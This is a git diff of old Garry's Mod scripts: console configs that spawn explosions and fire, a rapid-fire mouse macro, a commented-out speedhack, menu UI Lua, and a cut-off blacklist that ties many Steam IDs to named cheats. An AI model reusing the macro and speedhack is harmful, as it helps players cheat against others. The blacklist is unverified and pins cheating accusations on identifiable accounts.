b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/lol.cfg @@ -0,0 +1,47 @@ +prop_physics_create props_junk/propane_tank001a.mdl +prop_physics_create props_junk/propane_tank001a.mdl +prop_physics_create props_junk/propane_tank001a.mdl +prop_physics_create props_junk/propane_tank001a.mdl +prop_physics_create props_junk/propane_tank001a.mdl +prop_physics_create props_junk/propane_tank001a.mdl +prop_physics_create props_c17/oildrum001_explosive.mdl +prop_physics_create props_c17/oildrum001_explosive.mdl +prop_physics_create props_c17/oildrum001_explosive.mdl +ent_setname blow +ent_fire blow addoutput "rendermode 1" +ent_fire blow addoutput "renderamt 0" +ent_fire blow break + +ent_create env_explosion +ent_create env_explosion +ent_create env_explosion +ent_fire env_explosion addoutput "targetname blow999" +ent_fire blow999 addoutput "imagnitude 5000" +ent_fire blow999 addoutput "iradiusoverride 5500" +ent_fire blow999 addoutput "fireballsprite sprites/ar2_muzzle1.vmt" +ent_fire blow999 addoutput "rendermode 0" +ent_fire blow999 explode + +ent_create point_tesla +ent_fire point_tesla addoutput "targetname t5" +ent_fire t5 addoutput "m_SoundName DoSpark" +ent_fire t5 addoutput "m_Color 255 155 0" +ent_fire t5 addoutput "m_flRadius 10000" +ent_fire t5 addoutput "beamcount_min 250" +ent_fire t5 addoutput "beamcount_max 500" +ent_fire t5 addoutput "thick_min 2" +ent_fire t5 addoutput "thick_max 10" +ent_fire t5 addoutput "lifetime_min 4" +ent_fire t5 addoutput "lifetime_max 5" +ent_fire t5 addoutput "interval_min 1" +ent_fire t5 addoutput "interval_max 2" +ent_fire t5 addoutput "renderfx 16" +ent_fire t5 addoutput "rendermode 3" +ent_fire t5 addoutput "renderamt 255" +ent_fire t5 turnon +ent_fire t5 DoSpark +ent_fire t5 addoutput "classname ttttt" + +wait;wait;wait;wait;wait;wait;wait;wait + +ent_fire t5 kill \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/melon.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/melon.cfg new file mode 100644 index 0000000..e663f31 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/melon.cfg @@ -0,0 +1,18 @@ +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/nuke.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/nuke.cfg new file mode 100644 index 0000000..b2ba23c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/nuke.cfg @@ -0,0 +1,61 @@ +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +ent_setname bang + +//////////////////////////////////////////////////////////////////////// + +ent_fire bang addoutput "onbreak point_tesla,dospark,,4" +ent_create game_text +ent_fire game_text addoutput "targetname game_text" +ent_fire game_text addoutput "message CA BOOOOM" +ent_fire game_text addoutput "x -1" +ent_fire game_text addoutput "y -1" +ent_fire game_text addoutput "effect 1" +ent_fire game_text addoutput "color 9 100 0" +ent_fire game_text addoutput "color2 4 100 0" +ent_fire game_text addoutput "fadein 0" +ent_fire game_text addoutput "fadeout 0" +ent_fire game_text addoutput "holdtime 6" +ent_fire game_text addoutput "fxtime 0" +ent_fire game_text addoutput "channel 3" +ent_fire game_text addoutput "spawnflags 1" +ent_fire game_text Display + +ent_create env_fade +wait +wait +ent_fire env_fade addoutput "targetname nukeflash" +ent_fire nukeflash addoutput "duration 6.5" +ent_fire nukeflash addoutput "holdtime 999" +ent_fire nukeflash addoutput "renderamt 255" +ent_fire nukeflash addoutput "rendercolor 655 655 655" +ent_fire nukeflash addoutput "spawnflags 1" +ent_fire bang addoutput "onbreak nukeflash,fade,,0" + +//////////////////////////////////////////////////// + +ent_fire bang addoutput "onbreak !player,sethealth,-0,0" +ent_fire bang addoutput "onbreak func_bomb_target,bombexplode,,0" +wait +wait +wait +wait +wait +wait +wait +give point_tesla +wait + + +ent_create env_fire +ent_fire env_fire addoutput "health 100" +ent_fire env_fire addoutput "firesize 10.000" +ent_fire env_fire addoutput "fireattack 10" +ent_fire env_fire addoutput "firetype Natural" +ent_fire env_fire addoutput "ignitionpoint 3" +ent_fire env_fire addoutput "damagescale 9999999999" +ent_fire ent_fire addoutput "spawnflags 255" +ent_fire bang addoutput "Onbreak env_fire,Startfire,3,0" +ent_fire env_ar2explosion explode +ent_fire env_explosion kill +ent_fire env_ar2explosion kill \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/rapid.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/rapid.cfg new file mode 100644 index 0000000..9422e60 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/rapid.cfg @@ -0,0 +1,10 @@ +alias one "+attack;wait;-attack;wait;two" +alias one1 "+attack;wait;-attack;wait;two" +alias two "+attack;wait;-attack;wait;one" +alias reset "alias one one1;bind mouse1 +rapid" +bind alt "reset" + +alias +rapid one +alias -rapid fix + +alias fix "alias one 1;bind mouse1 +attack" \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/1.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/1.lua new file mode 100644 index 0000000..666a6f3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/1.lua @@ -0,0 +1,107 @@ +/*__ _ + / _| __ _ ___ ___ _ __ _ _ _ __ ___| |__ +| |_ / _` |/ __/ _ \ '_ \| | | | '_ \ / __| '_ \ +| _| (_| | (_| __/ |_) | |_| | | | | (__| | | | +|_| \__,_|\___\___| .__/ \__,_|_| |_|\___|_| |_| + |_| 2010 */ + +language.Add( "SingleplayerGame", "Singleplayer Game" ) + +local PANEL = {} + +/*--------------------------------------------------------- + Init +---------------------------------------------------------*/ +function PANEL:Init() + + self:SetMouseInputEnabled( true ) + self:SetKeyboardInputEnabled( true ) + + self:SetDeleteOnClose( false ) + + self:SetTitle( "#SingleplayerGame" ) + + self:CreateControls() + +end + + +/*--------------------------------------------------------- + CreateControls +---------------------------------------------------------*/ +function PANEL:CreateControls() + + self.StartGame = vgui.Create( "StartGame", self ) + self.MapSheet = vgui.Create( "DPropertySheet", self ) + self.MapSheet:SetFadeTime( 0.3 ) + + self.MapIcons = vgui.Create( "MapListIcons" ) + self.MapIcons:SetController( self.StartGame ) + self.MapIcons:Setup() + + local MapList = vgui.Create( "MapListList" ) + MapList:SetController( self.StartGame ) + + local Options = vgui.Create( "MapListOptions", self ) + Options:SetupSinglePlayer() + + local ToyBox = vgui.Create( "ToyboxMap", self ) + + self.MapSheet:AddSheet( "Icons", self.MapIcons, "gui/silkicons/application_view_tile" ) + self.MapSheet:AddSheet( "List", MapList, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Options", Options, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Toybox", ToyBox, "gui/silkicons/toybox" ) + +end + +/*--------------------------------------------------------- + PerformLayout +---------------------------------------------------------*/ +function PANEL:PerformLayout() + self:SetSize( 450, ScrH() * 0.8 ) + + self.MapSheet:SetPos( 8, 25 ) + self.MapSheet:SetSize( self:GetWide() - 16, self:GetTall() - 25 - 8 - 60 - 8 ) + self.MapSheet:InvalidateLayout() + + self.StartGame:SetPos( 8, self:GetTall() - 60 - 8 ) + self.StartGame:SetSize( self:GetWide() - 16, 60 ) + + self.BaseClass.PerformLayout( self ) + +end + +function PANEL:RebuildFavourites() + + self.MapIcons:RebuildFavourites() + +end + +vgui.Register( "StartSinglePlayerGame", PANEL, "DFrame" ) + +SinglePlayerMenu = vgui.Create( "StartSinglePlayerGame" ) +SinglePlayerMenu:SetVisible( false ) + +local function menu_singleplayer() + + if ( SinglePlayerMenu ) then + + SinglePlayerMenu:SetVisible( true ) + SinglePlayerMenu:Center() + SinglePlayerMenu:MakePopup() + + end + +end + +concommand.Add( "menu_singleplayer", menu_singleplayer ) + +local function CloseSinglePlayerMenu() + + if ( SinglePlayerMenu ) then + SinglePlayerMenu:Close() + end + +end + +hook.Add( "StartGame", "CloseSinglePlayerMenu", CloseSinglePlayerMenu ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/111.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/111.lua new file mode 100644 index 0000000..7492098 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/111.lua @@ -0,0 +1,41 @@ + +function PANEL:CreateControls() + self.StartGame = vgui.Create( "StartGame", self ) + self.MapSheet = vgui.Create( "DPropertySheet", self ) + self.MapSheet:SetFadeTime( 0.0 ) + + self.MapIcons = vgui.Create( "MapListIcons" ) + self.MapIcons:SetController( self.StartGame ) + self.MapIcons:Setup() + self.MapIcons:Dock( FILL ) + + --[[ + local Options = vgui.Create( "MapListOptions", MapSheet ) + Options:SetupMultiPlayer() + Options:Dock( FILL ) + ]] + + self.MapList = vgui.Create( "MapListList" ) + self.MapList:SetController( self.StartGame ) + self.MapList:Dock( FILL ) + + self.ToyBox = vgui.Create( "ToyboxMap", self ) + + --[[ + MapSheet = vgui.Create( "DColumnSheet", self ) + MapSheet:UseButtonOnlyStyle() + + MapSheet.Navigation:Dock( RIGHT ) + MapSheet.Navigation:SetWidth( 16 ) + MapSheet.Navigation:DockMargin( 3, 0, 0, 0 ) + + MapSheet:AddSheet( "", self.MapIcons, "gui/silkicons/application_view_tile" ) + MapSheet:AddSheet( "", self.MapList, "gui/silkicons/application_view_detail" ) + ]] + + self.MapSheet:AddSheet( "Icons", self.MapIcons, "gui/silkicons/application_view_tile" ) + self.MapSheet:AddSheet( "List", MapList, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Options", Options, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Toybox", ToyBox, "gui/silkicons/toybox" ) +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/ml_oldmenu.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/ml_oldmenu.lua new file mode 100644 index 0000000..0b9576c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/ml_oldmenu.lua @@ -0,0 +1,103 @@ +--[[ _ + / _| __ _ ___ ___ _ __ _ _ _ __ ___| |__ +| |_ / _` |/ __/ _ \ '_ \| | | | '_ \ / __| '_ \ +| _| (_| | (_| __/ |_) | |_| | | | | (__| | | | +|_| \__,_|\___\___| .__/ \__,_|_| |_|\___|_| |_| + |_| 2010 +]] + +local PANEL = {} + +function PANEL:Init() + self:SetMouseInputEnabled( true ) + self:SetKeyboardInputEnabled( true ) + + self:SetDeleteOnClose( false ) + self:SetTitle("Start New Game") + self:CreateControls() +end + +function PANEL:CreateControls() + self.StartGame = vgui.Create( "StartGame", self ) + self.MapSheet = vgui.Create( "DPropertySheet", self ) + self.MapSheet:SetFadeTime( 0.0 ) + + self.MapIcons = vgui.Create( "MapListIcons" ) + self.MapIcons:SetController( self.StartGame ) + self.MapIcons:Setup() + + local MapList = vgui.Create( "MapListList" ) + MapList:SetController( self.StartGame ) + + local Options = vgui.Create( "MapListOptions", self ) + Options:SetupSinglePlayer() + + local ToyBox = vgui.Create( "ToyboxMap", self ) + + self.MapSheet:AddSheet( "Icons", self.MapIcons, "gui/silkicons/application_view_tile" ) + self.MapSheet:AddSheet( "List", MapList, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Options", Options, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Toybox", ToyBox, "gui/silkicons/toybox" ) +end + +function PANEL:ReloadMaps() + g_MapList = nil + include( 'menu/getmaps.lua' ) + + self.MapIcons:Reload() + self.MapList:Reload() +end + +function PANEL:PerformLayout() + --self:SetSize( 735, ScrH() * 0.8 ) --new + --self:SetSize( 450, ScrH() * 0.8 ) --old + self:SetSize( 570, ScrH() * 0.8 ) --hex + + self.MapSheet:SetPos( 8, 25 ) + self.MapSheet:SetSize( self:GetWide() - 16, self:GetTall() - 25 - 8 - 60 - 8 ) + self.MapSheet:InvalidateLayout() + + self.StartGame:SetPos( 8, self:GetTall() - 60 - 8 ) + self.StartGame:SetSize( self:GetWide() - 16, 60 ) + + self.BaseClass.PerformLayout( self ) +end + +function PANEL:RebuildFavourites() + self.MapIcons:RebuildFavourites() +end + +vgui.Register( "StartSinglePlayerGame", PANEL, "DFrame" ) + +SinglePlayerMenu = vgui.Create( "StartSinglePlayerGame" ) +SinglePlayerMenu:SetVisible( false ) + +local function menu_singleplayer() + if ( SinglePlayerMenu ) then + SinglePlayerMenu:SetVisible( true ) + SinglePlayerMenu:Center() + SinglePlayerMenu:MakePopup() + end +end +concommand.Add( "menu_startgame", menu_singleplayer ) + +local function CloseSinglePlayerMenu() + if ( SinglePlayerMenu ) then + SinglePlayerMenu:Close() + end +end + +hook.Add( "StartGame", "CloseSinglePlayerMenu", CloseSinglePlayerMenu ) + +function OnMapDownloaded( ) + if ( !IsValid(SinglePlayerMenu) ) then return end + SinglePlayerMenu:ReloadMaps() +end + +function OnMapSelected( name ) + if ( !IsValid(SinglePlayerMenu) ) then return end + if ( !IsValid( SinglePlayerMenu.ToyBox.HTML ) ) then return end + + SinglePlayerMenu.ToyBox.HTML:RunJavascript( "OnMapSelected( '"..name.."' );" ); + SinglePlayerMenu.StartGame:SetMap( name ) +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/singleplayer.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/singleplayer.lua new file mode 100644 index 0000000..9473278 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/singleplayer.lua @@ -0,0 +1,145 @@ +/*__ _ + / _| __ _ ___ ___ _ __ _ _ _ __ ___| |__ +| |_ / _` |/ __/ _ \ '_ \| | | | '_ \ / __| '_ \ +| _| (_| | (_| __/ |_) | |_| | | | | (__| | | | +|_| \__,_|\___\___| .__/ \__,_|_| |_|\___|_| |_| + |_| 2010 */ + +local PANEL = {} + +/*--------------------------------------------------------- + Init +---------------------------------------------------------*/ +function PANEL:Init() + + self:SetMouseInputEnabled( true ) + self:SetKeyboardInputEnabled( true ) + + self:SetDeleteOnClose( false ) + + self:SetTitle( "Start New Game" ) + + self:CreateControls() + +end + + +/*--------------------------------------------------------- + CreateControls +---------------------------------------------------------*/ +function PANEL:CreateControls() + + self.StartGame = vgui.Create( "StartGame", self ) + self.MapSheet = vgui.Create( "DPropertySheet", self ) + self.MapSheet:SetFadeTime( 0.0 ) + + self.MapIcons = vgui.Create( "MapListIcons" ) + self.MapIcons:SetController( self.StartGame ) + self.MapIcons:Setup() + self.MapIcons:Dock( FILL ) + + local Options = vgui.Create( "MapListOptions", MapSheet ) + Options:SetupMultiPlayer() + Options:Dock( FILL ) + + self.MapList = vgui.Create( "MapListList" ) + self.MapList:SetController( self.StartGame ) + self.MapList:Dock( FILL ) + + self.ToyBox = vgui.Create( "ToyboxMap", self ) + + MapSheet = vgui.Create( "DColumnSheet", self ) + MapSheet:UseButtonOnlyStyle() + MapSheet.Navigation:Dock( RIGHT ) + MapSheet.Navigation:SetWidth( 16 ) + MapSheet.Navigation:DockMargin( 3, 0, 0, 0 ) + + MapSheet:AddSheet( "", self.MapIcons, "gui/silkicons/application_view_tile" ) + MapSheet:AddSheet( "", self.MapList, "gui/silkicons/application_view_detail" ) + MapSheet:AddSheet( "", Options, "gui/silkicons/wrench" ) + + self.MapSheet:AddSheet( "Maps", MapSheet, "gui/silkicons/world" ); + self.MapSheet:AddSheet( "Toybox", self.ToyBox, "gui/silkicons/toybox" ) + +end + +function PANEL:ReloadMaps() + + g_MapList = nil + include( 'menu/getmaps.lua' ) + + self.MapIcons:Reload() + self.MapList:Reload() + +end + +/*--------------------------------------------------------- + PerformLayout +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + self:SetSize( 735, ScrH() * 0.8 ) + + self.MapSheet:SetPos( 8, 25 ) + self.MapSheet:SetSize( self:GetWide() - 16, self:GetTall() - 25 - 8 - 60 - 8 ) + self.MapSheet:InvalidateLayout() + + self.StartGame:SetPos( 8, self:GetTall() - 60 - 8 ) + self.StartGame:SetSize( self:GetWide() - 16, 60 ) + + self.BaseClass.PerformLayout( self ) + +end + +function PANEL:RebuildFavourites() + + self.MapIcons:RebuildFavourites() + +end + +vgui.Register( "StartSinglePlayerGame", PANEL, "DFrame" ) + +SinglePlayerMenu = vgui.Create( "StartSinglePlayerGame" ) +SinglePlayerMenu:SetVisible( false ) + +local function menu_singleplayer() + + if ( SinglePlayerMenu ) then + + SinglePlayerMenu:SetVisible( true ) + SinglePlayerMenu:Center() + SinglePlayerMenu:MakePopup() + + end + +end + +concommand.Add( "menu_startgame", menu_singleplayer ) + +local function CloseSinglePlayerMenu() + + if ( SinglePlayerMenu ) then + SinglePlayerMenu:Close() + end + +end + +hook.Add( "StartGame", "CloseSinglePlayerMenu", CloseSinglePlayerMenu ) + +function OnMapDownloaded( ) + + if ( !IsValid(SinglePlayerMenu) ) then return end + + SinglePlayerMenu:ReloadMaps() + +end + +function OnMapSelected( name ) + + if ( !IsValid(SinglePlayerMenu) ) then return end + if ( !IsValid( SinglePlayerMenu.ToyBox.HTML ) ) then return end + + SinglePlayerMenu.ToyBox.HTML:RunJavascript( "OnMapSelected( '"..name.."' );" ); + SinglePlayerMenu.StartGame:SetMap( name ) + +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldspeedhack.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldspeedhack.lua new file mode 100644 index 0000000..a980a3c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldspeedhack.lua @@ -0,0 +1,17 @@ + +--[[ +local HeXSpeedHackSpeed = CreateClientConVar("hex_speed", 3) +local function HeXSpeedHack(ply,cmd,args) --old toggle way + if GetConVar("sv_cheats"):GetBool() then + if cmd == "+speedhack" then + HeXSetvar(CreateConVar("host_timescale",""), HeXSpeedHackSpeed:GetInt()) + elseif cmd == "-speedhack" then + HeXSetvar(CreateConVar("host_timescale",""), 1) + end + else + print("[HeX] cheats are off, use hex_svc to enable sv_cheats") + end +end +concommand.Add("+speedhack", HeXSpeedHack) +concommand.Add("-speedhack", HeXSpeedHack) +]] diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sh_GetHeX.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sh_GetHeX.lua new file mode 100644 index 0000000..5a08228 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sh_GetHeX.lua @@ -0,0 +1,17 @@ + +HeX = nil + +timer.Simple(1, function() + if (SERVER) then + for _,ply in pairs(player.GetAll()) do + if (ply:Nick() == "-=[UH]=- HeX") then + HeX = ply + break + end + end + end + + if (CLIENT) then + HeX = LocalPlayer() + end +end) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sqlite.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sqlite.lua new file mode 100644 index 0000000..f81e8c8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sqlite.lua @@ -0,0 +1,13 @@ + +local print = print +local require = require +require("lolsql") + +module("sqlite") + +print("\n\n! loaded lol\n") + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/stonedpotatoes skiddies.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/stonedpotatoes skiddies.lua new file mode 100644 index 0000000..2aede57 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/stonedpotatoes skiddies.lua @@ -0,0 +1,513 @@ + + + + + ["STEAM_0:0:8615861"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:14690776"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:37311111"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:37641228"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:38725115"] = {Name = "SP: Code Injection (Overwritten sqllite)", Skid = true}, + ["STEAM_0:1:42476821"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:37796859"] = {Name = "SP: lesp", Skid = true}, + ["STEAM_0:0:33443787"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:19586627"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:0:43714855"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:20026079"] = {Name = "SP: Odius", Skid = true}, + ["STEAM_0:0:13498644"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:40161470"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:15765533"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19622107"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:40152334"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:28656241"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:40856910"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:26819163"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:28810910"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:16230103"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:13014240"] = {Name = "SP: Mydik", Skid = true}, + ["STEAM_0:1:18214819"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:8731533"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:5226387"] = {Name = "SP: speedhack", Skid = true}, + ["STEAM_0:0:14830743"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:45523007"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:37953440"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:18595265"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:26250283"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:5979318"] = {Name = "SP: Whip it good", Skid = true}, + ["STEAM_0:0:26311595"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:32324604"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:31955945"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:21748050"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:10795659"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:15476329"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:17749887"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:30470607"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19490976"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:15294162"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:37984975"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:37681134"] = {Name = "SP: CubHack", Skid = true}, + ["STEAM_0:1:18413786"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:15141245"] = {Name = "SP: Aspergers", Skid = true}, + ["STEAM_0:0:24350981"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:32471831"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:28657939"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:23749032"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:33017392"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:16431495"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:22597435"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:29005501"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:31866003"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:20472448"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:1:19064705"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:28871977"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:0:25295126"] = {Name = "SP: Mydik", Skid = true}, + ["STEAM_0:0:6428289"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:14260996"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:28785924"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:30652639"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:36232848"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:26676964"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:29812493"] = {Name = "SP: tame", Skid = true}, + ["STEAM_0:0:29192036"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:29971267"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:39962440"] = {Name = "SP: ClarkHack", Skid = true}, + ["STEAM_0:0:38910108"] = {Name = "SP: Isis", Skid = true}, + ["STEAM_0:1:5638935"] = {Name = "SP: Injectshunt", Skid = true}, + ["STEAM_0:0:9643377"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:12406388"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:12012182"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:26053222"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:31585345"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:38456959"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:30139620"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:21756969"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:34174066"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:1:22240086"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:30354552"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:36794289"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:26623243"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:44059222"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:22349391"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:42088029"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:25657133"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:38677580"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:33459537"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:0:24974888"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:38469933"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:33659672"] = {Name = "SP: elebot", Skid = true}, + ["STEAM_0:0:39497530"] = {Name = "SP: Coma", Skid = true}, + ["STEAM_0:1:41052040"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:25107044"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:15778113"] = {Name = "SP: CubHack", Skid = true}, + ["STEAM_0:1:38689930"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:26262689"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:12269454"] = {Name = "SP: SethHack.", Skid = true}, + ["STEAM_0:1:20810532"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:3228595"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19254119"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:5682164"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:29255499"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:6427907"] = {Name = "SP: Aspergers", Skid = true}, + ["STEAM_0:0:23750602"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:39036191"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:6068936"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:9431349"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:2255757"] = {Name = "SP: Mydik", Skid = true}, + ["STEAM_0:0:17277217"] = {Name = "SP: lh", Skid = true}, + ["STEAM_0:0:36473009"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:20899589"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:1194255"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:49009808"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:37118627"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:25331167"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:36940612"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:22684909"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:40749708"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:24595045"] = {Name = "SP: Code injection", Skid = 